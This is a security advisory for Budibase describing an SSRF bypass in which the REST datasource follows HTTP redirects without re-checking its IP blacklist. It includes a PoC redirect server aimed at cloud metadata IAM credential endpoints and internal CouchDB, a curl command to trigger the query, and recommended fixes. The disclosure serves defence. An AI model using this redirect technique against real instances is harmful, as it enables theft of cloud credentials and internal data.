Skip to content

SSRF Blacklist Bypass via Unvalidated HTTP Redirect Following in REST Datasource

Moderate
mjashanks published GHSA-86f3-cqpq-wp9m May 12, 2026

Package

npm budibase (npm)

Affected versions

<= 3.34.2

Patched versions

3.38.1

Description

Summary

The Budibase REST datasource integration validates outbound request URLs against an IP blacklist to prevent SSRF attacks, but does not validate or restrict HTTP redirects. An attacker with Builder role can configure a REST datasource pointing to an external server that returns a 302 redirect to an internal/private IP address (e.g., http://169.254.169.254/), completely bypassing the blacklist. This allows reading cloud instance metadata credentials, internal CouchDB databases, and other services on the internal network.

Details

The SSRF protection in Budibase works by resolving the hostname of the user-supplied URL to IP addresses via DNS, then checking those IPs against a net.BlockList of private ranges. This check happens once, before the HTTP request is made.

In packages/server/src/integrations/rest.ts:754, the URL is validated:

// rest.ts:748-778
const url = this.getUrl(
  path,
  mergedQueryString,
  pagination,
  paginationValues
)
if (await blacklist.isBlacklisted(url)) {
  throw new Error("URL is blocked or could not be resolved safely.")
}

// ... dispatcher setup ...

let response: Response
try {
  response = await fetch(url, input)
}

The isBlacklisted function in packages/backend-core/src/blacklist/blacklist.ts:132-148 performs DNS resolution and IP checking:

export async function isBlacklisted(address: string): Promise<boolean> {
  if (!blackList) {
    await refreshBlacklist()
  }

  let ips: string[]
  if (!net.isIP(address)) {
    try {
      ips = await lookup(address)
    } catch {
      return shouldApplyDefaultBlacklist()
    }
  } else {
    ips = [address]
  }
  return ips.some(ip => blackList!.check(ip, getIpVersion(ip)))
}

The default blacklist covers RFC 1918, loopback, link-local, and IPv6 private ranges (packages/backend-core/src/blacklist/blacklist.ts:6-16):

const DEFAULT_BLACKLIST = [
  "127.0.0.0/8",
  "10.0.0.0/8",
  "172.16.0.0/12",
  "192.168.0.0/16",
  "169.254.0.0/16",
  "0.0.0.0/8",
  "::1/128",
  "fc00::/7",
  "fe80::/10",
]

However, the fetch() call at rest.ts:778 uses undici's default redirect: "follow" mode. The dispatcher created via getDispatcher() (packages/backend-core/src/utils/fetch.ts:109-114) creates a bare Agent with no maxRedirections restriction:

function createDirectAgent(rejectUnauthorized: boolean): Agent {
  return new Agent({
    connect: {
      rejectUnauthorized,
    },
  })
}

There is no code anywhere in the fetch path that:

  1. Sets redirect: "manual" in the RequestInit
  2. Sets maxRedirections: 0 on the undici Agent
  3. Re-validates the redirect target URL against the blacklist

This means the blacklist check is trivially bypassed: a request to https://attacker.com/redirect passes the blacklist (external IP), then undici silently follows a 302 Location: http://169.254.169.254/latest/meta-data/ redirect to the blocked internal address. The response body from the internal service is returned to the caller and stored as the query result.

PoC

Prerequisites: Attacker has Builder role on a Budibase instance. Attacker controls an external HTTP server.

Step 1: Set up a redirect server

# redirect_server.py — run on attacker-controlled host
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://169.254.169.254/latest/meta-data/"

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", TARGET)
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
# On attacker machine:
python3 redirect_server.py "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Step 2: Create a REST datasource in Budibase

  1. Log in as a Builder user
  2. Navigate to an app → Data → Add Source → REST API
  3. Set the base URL to http://attacker.com:8888
  4. Create a query with method GET and no additional path

Step 3: Execute the query

# Or via API directly (as authenticated builder):
curl -s -X POST "https://<budibase-host>/api/queries/<query-id>" \
  -H "Cookie: budibase:auth=<session-cookie>" \
  -H "Content-Type: application/json" \
  -d '{}'

Expected result: The blacklist blocks the request to 169.254.169.254.

Actual result: The request to attacker.com:8888 passes the blacklist check, undici follows the 302 redirect to 169.254.169.254, and the cloud metadata response (including IAM credentials) is returned in the query result.

Step 4: Escalate — read internal CouchDB

# Change redirect target to internal CouchDB:
python3 redirect_server.py "http://localhost:4005/_all_dbs"

Execute the same query again. The response now contains a list of all CouchDB databases, including user data, app definitions, and global configuration.

Impact

  • Cloud credential theft: On AWS/GCP/Azure-hosted Budibase instances, attackers can read instance metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/) to obtain temporary cloud credentials, potentially escalating to full cloud account compromise.
  • Internal service access: Attackers can reach internal services not exposed to the internet, including CouchDB (port 4005), Redis (port 6379), and any other service on the internal network.
  • Data exfiltration: CouchDB contains all Budibase application data, user records, and configuration. Redis contains session tokens and cached data.
  • Multi-tenant risk: In Budibase Cloud, a builder on one tenant could potentially reach internal infrastructure shared across tenants.
  • Builder role is not admin: Builder is a collaborator-level role that can be granted to external users for app development. It is not intended to convey infrastructure-level access.

Recommended Fix

Apply two complementary mitigations:

Fix 1: Disable automatic redirect following (primary fix)

In packages/server/src/integrations/rest.ts, set redirect: "manual" and handle redirects explicitly with blacklist re-validation:

// In the fetch call at rest.ts:778, add redirect: "manual" to input
input.redirect = "manual"

let response: Response
try {
  response = await fetch(url, input)
} catch (err) {
  // ... existing error handling ...
}

// Handle redirects with re-validation
const MAX_REDIRECTS = 10
let redirectCount = 0
while (
  redirectCount < MAX_REDIRECTS &&
  response.status >= 300 &&
  response.status < 400
) {
  const location = response.headers.get("location")
  if (!location) break

  const redirectUrl = new URL(location, url).toString()
  if (await blacklist.isBlacklisted(redirectUrl)) {
    throw new Error("Redirect URL is blocked or could not be resolved safely.")
  }

  response = await fetch(redirectUrl, { ...input, redirect: "manual" })
  redirectCount++
}

Fix 2: Restrict redirects at the dispatcher level (defense in depth)

In packages/backend-core/src/utils/fetch.ts, set maxRedirections: 0 on the Agent:

function createDirectAgent(rejectUnauthorized: boolean): Agent {
  return new Agent({
    maxRedirections: 0,
    connect: {
      rejectUnauthorized,
    },
  })
}

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits